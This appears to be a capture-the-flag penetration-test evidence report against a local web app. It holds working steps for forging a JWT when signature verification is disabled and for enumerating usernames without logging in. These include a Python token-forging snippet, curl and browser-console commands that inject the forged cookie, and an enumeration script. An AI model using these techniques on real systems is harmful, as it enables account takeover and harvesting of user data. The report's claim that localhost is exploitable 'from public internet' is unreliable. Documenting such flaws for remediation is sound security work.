# Authorization Exploitation Evidence

## Successfully Exploited Vulnerabilities

### AUTHZ-VULN-01: JWT Signature Bypass Enables Horizontal Privilege Escalation

**Summary:**
- **Vulnerable location:** `GET /dashboard` endpoint at `/app/website/app/routes.py:73-92`
- **Overview:** JWT signature verification explicitly disabled, allowing attackers to forge tokens with arbitrary user_id values and access any user's dashboard data
- **Impact:** Complete horizontal privilege escalation - any authenticated user can access any other user's data, including the CTF flag stored in user 10019's last_name field
- **Severity:** Critical

**Prerequisites:**
- Any valid session (can be obtained by authenticating with test:test credentials)
- Python with PyJWT library (for forging JWT tokens)

**Exploitation Steps:**

1. **Authenticate as test user to establish valid session:**
   ```bash
   # Navigate to login page
   curl -c cookies.txt http://localhost:44191/
   
   # Submit username
   curl -b cookies.txt -c cookies.txt -X POST \
     -d "username=test" \
     http://localhost:44191/
   
   # Submit password
   curl -b cookies.txt -c cookies.txt -X POST \
     -d "password=test" \
     http://localhost:44191/password/test
   ```

2. **Extract legitimate JWT token from cookies:**
   ```bash
   # JWT token will be in cookies.txt as auth_token
   # Example: auth_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
   ```

3. **Decode JWT to verify structure (optional):**
   ```python
   import jwt
   
   original_jwt = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QiLCJ1c2VyX2lkIjoxMDAzMiwidXNlcl90eXBlIjoiY3VzdG9tZXIifQ.ubKxvL3U9FouYhgqbsNNfV7C6iaVCJ83foZ1bq8roEs"
   
   # Decode without verification
   decoded = jwt.decode(original_jwt, options={"verify_signature": False})
   print(decoded)
   # Output: {'username': 'test', 'user_id': 10032, 'user_type': 'customer'}
   ```

4. **Forge JWT token with target user_id (10019 for flag user):**
   ```python
   import jwt
   
   # Create payload with target user_id
   forged_payload = {
       "username": "test",
       "user_id": 10019,  # Flag user's ID
       "user_type": "customer"
   }
   
   # Sign with ANY secret (signature verification is disabled)
   forged_jwt = jwt.encode(forged_payload, "wrong_secret", algorithm="HS256")
   print(forged_jwt)
   # Output: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QiLCJ1c2VyX2lkIjoxMDAxOSwidXNlcl90eXBlIjoiY3VzdG9tZXIifQ.IRQBLuFAcuDG8hC5Z2td4BxPQcxCShrAZ02OJ4f8imo
   ```

5. **Replace auth_token cookie with forged JWT:**
   ```bash
   # Method 1: Using curl
   curl -b "session=[SESSION_COOKIE]" \
        --cookie "auth_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QiLCJ1c2VyX2lkIjoxMDAxOSwidXNlcl90eXBlIjoiY3VzdG9tZXIifQ.IRQBLuFAcuDG8hC5Z2td4BxPQcxCShrAZ02OJ4f8imo" \
        http://localhost:44191/dashboard
   
   # Method 2: Using browser developer tools
   # 1. Open browser console (F12)
   # 2. Execute: document.cookie = "auth_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QiLCJ1c2VyX2lkIjoxMDAxOSwidXNlcl90eXBlIjoiY3VzdG9tZXIifQ.IRQBLuFAcuDG8hC5Z2td4BxPQcxCShrAZ02OJ4f8imo; path=/"
   # 3. Refresh page or navigate to /dashboard
   ```

6. **Access dashboard to extract flag:**
   ```bash
   # Dashboard will display flag user's data
   # Navigate to: http://localhost:44191/dashboard
   ```

**Proof of Impact:**

Successfully accessed flag user (ID 10019) dashboard and extracted flag:

```
Dashboard URL: http://localhost:44191/dashboard
Welcome Message: "Welcome, Flag FLAG{9b9b48050b4f9e9ce238a9d125a4bbc276060f61d709ed77b5541a0205c79d24}"
```

**Flag Captured:** `FLAG{9b9b48050b4f9e9ce238a9d125a4bbc276060f61d709ed77b5541a0205c79d24}`

**Root Cause Analysis:**

The vulnerability exists at `/app/website/app/routes.py:81` where JWT signature verification is explicitly disabled:

```python
# Line 80-81: JWT decoded without signature verification
data = jwt.decode(token, app.config['AUTH_SECRET_KEY'], algorithms=['HS256'],
    options={'verify_signature':False})  # CRITICAL VULNERABILITY

# Line 84: Application trusts unverified user_id from JWT
user_id = data['user_id']

# Line 88: Fetches arbitrary user's data with no ownership validation
user = User.query.get(user_id)
```

The application checks for a valid session but then overrides the session's user_id with the unverified JWT claim, enabling complete horizontal privilege escalation.

**Notes:**

- Session cookie must remain valid (obtained through legitimate authentication)
- JWT signature can be anything - the application doesn't verify it
- Any valid user_id can be specified (10032 for test user, 10019 for flag user)
- No rate limiting allows unlimited attempts
- Vulnerability is externally exploitable via http://localhost:44191 with no internal network access required

---

### AUTHZ-VULN-02: Pre-Authentication Information Disclosure via Username Enumeration

**Summary:**
- **Vulnerable location:** `GET /password/<username>` endpoint at `/app/website/app/routes.py:46-69`
- **Overview:** Password entry page accessible without authentication reveals user existence, first names, and internal user IDs
- **Impact:** User enumeration and reconnaissance - attackers can discover valid usernames, user IDs, and first names to support targeted attacks like password spraying and social engineering
- **Severity:** High

**Prerequisites:**
None - endpoint is publicly accessible without authentication

**Exploitation Steps:**

1. **Test username enumeration with valid user:**
   ```bash
   # Access password page for known user "test"
   curl http://localhost:44191/password/test
   ```
   
   **Response reveals:**
   - Page displays: "Welcome, John!" (first name exposed)
   - HTML contains: `<input id="user_id" name="user_id" value="10032" hidden>` (user ID exposed)
   - HTTP 200 status (confirms user exists)

2. **Test username enumeration with invalid user:**
   ```bash
   # Access password page for non-existent user
   curl http://localhost:44191/password/nonexistent
   ```
   
   **Response shows:**
   - Redirects to: `http://localhost:44191/?error=User+not+found`
   - HTTP 302 redirect (confirms user doesn't exist)
   - Different behavior reveals username validity

3. **Extract data from flag user:**
   ```bash
   # Access password page for flag user
   curl http://localhost:44191/password/flag
   ```
   
   **Response reveals:**
   - Page displays: "Welcome, Flag!" (first name: "Flag")
   - HTML contains: `<input id="user_id" name="user_id" value="10019" hidden>` (user ID: 10019)
   - Confirms "flag" is a valid username

4. **Automated user enumeration script:**
   ```python
   import requests
   
   target = "http://localhost:44191"
   usernames = ["admin", "test", "flag", "user", "john", "jane"]
   
   for username in usernames:
       response = requests.get(f"{target}/password/{username}", allow_redirects=False)
       
       if response.status_code == 200:
           # User exists - extract data from response
           print(f"[+] Valid user: {username}")
           
           # Parse first name from "Welcome, [NAME]!" text
           if "Welcome," in response.text:
               import re
               match = re.search(r'Welcome, (\w+)!', response.text)
               if match:
                   first_name = match.group(1)
                   print(f"    First name: {first_name}")
           
           # Extract user_id from hidden field
           match = re.search(r'name="user_id" value="(\d+)"', response.text)
           if match:
               user_id = match.group(1)
               print(f"    User ID: {user_id}")
       
       elif response.status_code == 302:
           print(f"[-] Invalid user: {username}")
   ```

**Proof of Impact:**

Successfully enumerated multiple users without authentication:

| Username | Status | First Name | User ID | 
|----------|--------|------------|---------|
| test | Valid | John | 10032 |
| flag | Valid | Flag | 10019 |
| nonexistent | Invalid | N/A | N/A |

**Example HTML Response for Valid User (test):**
```html
<form method="POST">
    <div class="form-group">
        <p class="mt-3 text-center">Welcome, John!</p>
        <label for="password">Password</label>
        <input type="text" id="username" name="username" value="test" hidden>
        <input type="text" id="user_id" name="user_id" value="10032" hidden>
        <input type="password" id="password" name="password" required>
    </div>
    <button type="submit">Login</button>
</form>
```

**Root Cause Analysis:**

The vulnerability exists at `/app/website/app/routes.py:48` where database lookup occurs without authentication:

```python
# Line 48: No authentication check before database query
user = User.query.filter_by(username=username).first()

if not user:
    # Line 51: Redirect to login with error (different behavior)
    return redirect(url_for('login', error='User not found'))

# Lines 69: Expose user data to unauthenticated requester  
return render_template('password.html', 
                      first_name=user.first_name,  # PII exposed
                      username=username,            # Username confirmed
                      user_id=user.id)              # Internal ID exposed
```

The application lacks authentication checks before database queries and renders sensitive user information to unauthenticated requesters.

**Notes:**

- No authentication required - completely public endpoint
- Different responses for valid vs. invalid usernames enable enumeration
- Exposed user IDs can be used with AUTHZ-VULN-01 for targeted exploitation
- No rate limiting allows automated enumeration of entire user database
- Vulnerability supports password spraying attacks with known valid usernames
- Externally exploitable via http://localhost:44191 from public internet

---

## Summary

Both authorization vulnerabilities were successfully exploited from external network access via http://localhost:44191:

1. **AUTHZ-VULN-01 (Critical):** JWT signature bypass enabled horizontal privilege escalation to flag user, extracting CTF flag
2. **AUTHZ-VULN-02 (High):** Pre-authentication information disclosure enabled user enumeration and reconnaissance

All exploitation was performed through the public web interface with no internal network access, special tools, or elevated privileges required.